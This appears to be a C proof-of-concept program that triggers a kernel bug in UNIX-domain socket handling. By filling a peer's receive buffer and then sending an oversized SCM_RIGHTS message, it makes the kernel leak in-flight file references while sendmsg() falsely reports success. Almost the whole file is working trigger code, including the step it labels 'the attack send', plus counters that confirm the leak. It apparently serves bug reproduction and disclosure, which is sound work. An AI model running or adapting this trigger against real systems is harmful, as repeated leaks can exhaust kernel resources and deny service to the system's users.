DF-2560 / scm_leak3.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | /* DF-2560 -- exact path: ssb_appendcontrol() FAILS (peer rcv full at append * time) in the SOCK_STREAM SCM_RIGHTS branch (uipc_usrreq.c:766-787). * The branch leaves control!=NULL with error==0; the cleanup at :808-814 * then does m_freem(control) WITHOUT unp_dispose() -> every fhold()+ * unp_add_right() from unp_internalize() leaks, and sendmsg() reports * success while the message was silently dropped. * * Window: uipc_send sets SSB_STOP on the sender only AFTER a failed/successful * append; the receiver's recv() clears it (uipc_rcvd :575-586). So: * fill peer rcv -> drain half -> sendmsg(data-bigger-than-free + SCM_RIGHTS). * * usage: scm_leak3 [iters] */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> static int sysctl_int(const char *name) { int v; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) < 0) { printf("sysctl %s: %s\n", name, strerror(errno)); return (-1); } return (v); } int main(int argc, char **argv) { int iters = (argc > 1) ? atoi(argv[1]) : 20; int sv[2], fds[8], i, k; struct msghdr msg; struct iovec iov; static char big[65536]; char cbuf[CMSG_SPACE(sizeof(fds))]; struct cmsghdr *cm; int infl0, infl_now, leaked = 0, ok = 0, fail = 0, silent_drop = 0; infl0 = sysctl_int("net.local.inflight"); printf("before: net.local.inflight=%d\n", infl0); for (i = 0; i < 8; i++) { char p[64]; snprintf(p, sizeof(p), "/tmp/df2560c_%d", i); unlink(p); fds[i] = open(p, O_RDWR | O_CREAT, 0600); if (fds[i] < 0) { perror("open"); return 1; } } if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); return 1; } fcntl(sv[0], F_SETFL, O_NONBLOCK); fcntl(sv[1], F_SETFL, O_NONBLOCK); memset(big, 'D', sizeof(big)); memset(&msg, 0, sizeof(msg)); memset(cbuf, 0, sizeof(cbuf)); iov.iov_base = big; iov.iov_len = 32768; /* half the fill + more */ msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); cm = CMSG_FIRSTHDR(&msg); cm->cmsg_len = CMSG_LEN(sizeof(fds)); cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; memcpy(CMSG_DATA(cm), fds, sizeof(fds)); for (k = 0; k < iters; k++) { /* 1. fill peer rcv with plain data */ int filled = 0; for (;;) { ssize_t r = send(sv[0], big, 16384, MSG_DONTWAIT); if (r < 0) break; filled += r; } /* 2. drain half (clears SSB_STOP via uipc_rcvd) */ int drained = 0; while (drained < filled / 2) { ssize_t r = recv(sv[1], big, 16384, MSG_DONTWAIT); if (r <= 0) break; drained += r; } /* 3. the attack send: data 32KB > free space, with SCM_RIGHTS */ errno = 0; ssize_t rc = sendmsg(sv[0], &msg, MSG_DONTWAIT); if (rc < 0) { fail++; if (k < 3) printf("iter %d: sendmsg rc=%zd errno=%d (%s)\n", k, rc, errno, strerror(errno)); } else { ok++; /* silent drop? peer must NOT have the data: drain check */ char probe[64]; ssize_t r = recv(sv[1], probe, sizeof(probe), MSG_DONTWAIT); if (r <= 0) silent_drop++; } infl_now = sysctl_int("net.local.inflight"); if (k == 0) printf("iter 0: filled=%d drained=%d sendmsg rc=%zd errno=%d " "inflight now %+d\n", filled, drained, rc, errno, infl_now - infl0); } leaked = sysctl_int("net.local.inflight") - infl0; printf("RESULT: sendmsg ok=%d fail=%d ; silent-drops confirmed=%d/%d ok\n", ok, fail, silent_drop, ok); printf("RESULT: net.local.inflight delta = %+d (each iteration leaked " "8 file refs if delta == 8*iters)\n", leaked); printf(" => %d leaked rights over %d iterations (%.1f/iter)\n", leaked, iters, (double)leaked / iters); /* cleanup: drain everything, close */ for (;;) { ssize_t r = recv(sv[1], big, sizeof(big), MSG_DONTWAIT); if (r <= 0) break; } close(sv[0]); close(sv[1]); for (i = 0; i < 8; i++) close(fds[i]); printf("after close-all: inflight=%+d (leak persists => %d)\n", sysctl_int("net.local.inflight") - infl0, sysctl_int("net.local.inflight") - infl0); return 0; } |